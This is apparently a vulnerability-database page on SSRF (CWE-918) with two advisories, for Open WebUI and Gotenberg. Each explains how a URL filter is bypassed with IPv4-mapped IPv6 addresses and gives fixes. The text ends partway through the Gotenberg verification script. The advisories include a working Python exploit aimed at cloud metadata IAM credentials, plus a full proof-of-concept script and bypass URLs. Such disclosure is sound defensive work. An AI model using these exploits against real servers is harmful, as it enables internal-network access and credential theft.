CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4826 vulnerabilities reference this CWE, most recent first.
GHSA-4V7R-F4W8-8972
Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-15 23:53SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()
Summary
validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.
The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.
Affected code
backend/open_webui/retrieval/web/utils.py validate_url():
if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises
raise ValueError(...)
Proof of concept
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
End-to-end exploit:
import requests, ipaddress
OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4
requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
Impact
Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.
Recommended fix
Replace the validators library calls with stdlib ipaddress:
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
addr_v4 = addr.ipv4_mapped
if addr_v4.is_private or addr_v4.is_loopback or ...:
raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).
Related but separate advisories
- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
- Playwright loader redirect: GHSA-jrfp-m64g-pcwv
- Missing
validate_url()call in image_generations: GHSA-h7cc-wwjp-5xqh
Credits
- Dor Konis (dkonis, GE Vernova) — first to identify the
validators.ipv6(private=True)silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.
Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.12"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45331"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:18:54Z",
"nvd_published_at": "2026-05-15T20:16:48Z",
"severity": "HIGH"
},
"details": "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 \u2014 the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch\u0027s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True): # ValidationError is falsy \u2014 never raises\n raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={\u0027reason\u0027: \"ipv6() got an unexpected keyword argument \u0027private\u0027\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\" # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process \u2014 cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n addr_v4 = addr.ipv4_mapped\n if addr_v4.is_private or addr_v4.is_loopback or ...:\n raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. \u2014 see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** \u2014 first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** \u2014 first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit \u2014 fixing `validate_url()` once resolves all of them.",
"id": "GHSA-4v7r-f4w8-8972",
"modified": "2026-05-15T23:53:48Z",
"published": "2026-05-14T20:18:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature"
}
GHSA-4VMC-GM8V-M35H
Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-05-14 20:52Summary
The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.
Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200defines the defaultapi-download-from-deny-list.pkg/modules/webhook/webhook.go:41-43defines the defaultwebhook-deny-list.pkg/gotenberg/filter.go:20-69evaluates those patterns withregexp2using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282- Reads attacker-supplied
downloadFrom. - Calls
gotenberg.FilterDeadline(...). - Issues an outbound GET with
retryablehttp.NewRequest(...)andclient.Do(...). pkg/modules/webhook/middleware.go:99-217- Reads
Gotenberg-Webhook-UrlandGotenberg-Webhook-Events-Url. - Calls
gotenberg.FilterDeadline(...). - Constructs a
clientfor outbound delivery. pkg/modules/webhook/client.go:39-152- Sends the success or error webhook request.
pkg/modules/webhook/client.go:155-216- Sends the webhook event request.
Why the bypass works:
- The default deny-list only blocks lowercase
http://andhttps://prefixes. - The filtering logic performs case-sensitive regex matching on the raw user input.
- Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like
http://[::ffff:127.0.0.1]:18081/.... - As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page_1.pdfhttp://[::ffff:127.0.0.1]:18082/uploadhttp://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.
PoC
One-command verification
From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh
What the script does:
- Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
- Starts Gotenberg on
127.0.0.1:3000. - Starts an internal-only helper listener inside the same container network namespace.
- Verifies
downloadFromSSRF by forcing Gotenberg to fetch a PDF fromhttp://[::ffff:127.0.0.1]:18081/page_1.pdf. - Verifies
webhookSSRF by forcing Gotenberg to POST tohttp://[::ffff:127.0.0.1]:18082/uploadandhttp://[::ffff:127.0.0.1]:18082/events. - Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log
Manual evidence commands
The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
"page_1.pdf": {
"CreateDate": "2025:02:17 14:46:38+00:00",
"FileType": "PDF",
"FileTypeExtension": "pdf",
"Linearized": "No",
"MIMEType": "application/pdf",
"ModifyDate": "2025:02:17 14:46:38+00:00",
"PDFVersion": 1.7,
"PageCount": 1,
"Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
"SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
}
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json
PoC Video:
https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3
Interpretation:
- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.
verify_ssrf_poc.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
"--pdfengines-merge-engines=qpdf"
"--pdfengines-split-engines=qpdf"
"--pdfengines-flatten-engines=qpdf"
"--pdfengines-convert-engines=qpdf"
"--pdfengines-read-metadata-engines=exiftool"
"--pdfengines-write-metadata-engines=exiftool"
"--pdfengines-encrypt-engines=qpdf"
"--pdfengines-embed-engines=qpdf"
"--pdfengines-read-bookmarks-engines=qpdf"
"--pdfengines-write-bookmarks-engines=qpdf"
"--pdfengines-watermark-engines=qpdf"
"--pdfengines-stamp-engines=qpdf"
"--pdfengines-rotate-engines=qpdf"
)
red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }
cleanup() {
docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}
fail() {
red "$1"
printf '\n--- gotenberg logs ---\n'
docker logs "$GOTENBERG_NAME" 2>/dev/null || true
printf '\n--- helper logs ---\n'
docker logs "$HELPER_NAME" 2>/dev/null || true
exit 1
}
trap cleanup EXIT
mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"
if [[ ! -f "$TEST_PDF" ]]; then
red "Missing test PDF: $TEST_PDF"
exit 1
fi
if [[ ! -f "$DOCKERFILE" ]]; then
red "Missing Dockerfile: $DOCKERFILE"
exit 1
fi
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
blue "[1/6] Building slim verification image: $IMAGE"
docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
blue "[1/6] Reusing existing image: $IMAGE"
fi
blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
--name "$GOTENBERG_NAME" \
-p "$PORT:3000" \
"$IMAGE" \
--webhook-enable-sync-mode=true \
"${PDF_ENGINE_FLAGS[@]}" >/dev/null
for _ in $(seq 1 45); do
if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
break
fi
sleep 1
done
if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
fail "Gotenberg did not become healthy"
fi
cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread
PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()
class DownloadHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
self.send_header("Content-Length", str(len(PDF_BYTES)))
self.end_headers()
self.wfile.write(PDF_BYTES)
def log_message(self, fmt, *args):
return
class WebhookHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
with LOG_PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}\n"
)
self.send_response(200)
self.end_headers()
do_PATCH = do_POST
do_PUT = do_POST
def log_message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve_forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
--name "$HELPER_NAME" \
--network "container:$GOTENBERG_NAME" \
-v "$TEST_PDF:/srv/page_1.pdf:ro" \
-v "$ARTIFACT_DIR:/work" \
-v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
python:3.11-alpine \
python /app/internal_helper.py >/dev/null
for _ in $(seq 1 20); do
if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
curl -sS \
-o "$DOWNLOAD_JSON" \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"
if [[ "$download_status" != "200" ]]; then
cat "$DOWNLOAD_JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download_status"
fi
if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD_JSON" || true
fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
curl -sS \
-o /dev/null \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
-F "files=@$TEST_PDF"
)"
if [[ "$webhook_status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook_status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log: %s\n' "$WEBHOOK_LOG"
printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"
printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"
printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'
Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:
- Read content from internal HTTP endpoints through
downloadFrom. - Trigger state-changing POST/PATCH/PUT requests through the
webhookfeature. - Reach services bound only to localhost from the perspective of the Gotenberg host or container.
Remediation
-
Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with
net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation. -
Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with
net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well. -
Reconsider the security default for outbound URL features. Either disable
downloadFromandwebhookby default, or ship a strict default policy that only allowshttp/httpsplus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently todownloadFrom,webhook, error URLs, and event URLs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.30.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42596"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:15:19Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe default deny-lists used by Gotenberg\u0027s `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n - Reads attacker-supplied `downloadFrom`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go\u0027s HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg\u0027\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq \u0027.\u0027 \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json\u0027\ncat \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log\u0027\n```\n\nObserved output:\n\n```json\n{\n \"page_1.pdf\": {\n \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n \"FileType\": \"PDF\",\n \"FileTypeExtension\": \"pdf\",\n \"Linearized\": \"No\",\n \"MIMEType\": \"application/pdf\",\n \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n \"PDFVersion\": 1.7,\n \"PageCount\": 1,\n \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" \u0026\u0026 pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n \"--pdfengines-merge-engines=qpdf\"\n \"--pdfengines-split-engines=qpdf\"\n \"--pdfengines-flatten-engines=qpdf\"\n \"--pdfengines-convert-engines=qpdf\"\n \"--pdfengines-read-metadata-engines=exiftool\"\n \"--pdfengines-write-metadata-engines=exiftool\"\n \"--pdfengines-encrypt-engines=qpdf\"\n \"--pdfengines-embed-engines=qpdf\"\n \"--pdfengines-read-bookmarks-engines=qpdf\"\n \"--pdfengines-write-bookmarks-engines=qpdf\"\n \"--pdfengines-watermark-engines=qpdf\"\n \"--pdfengines-stamp-engines=qpdf\"\n \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf \u0027\\033[31m%s\\033[0m\\n\u0027 \"$*\"; }\ngreen() { printf \u0027\\033[32m%s\\033[0m\\n\u0027 \"$*\"; }\nblue() { printf \u0027\\033[34m%s\\033[0m\\n\u0027 \"$*\"; }\n\ncleanup() {\n docker rm -f \"$HELPER_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n docker rm -f \"$GOTENBERG_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n}\n\nfail() {\n red \"$1\"\n printf \u0027\\n--- gotenberg logs ---\\n\u0027\n docker logs \"$GOTENBERG_NAME\" 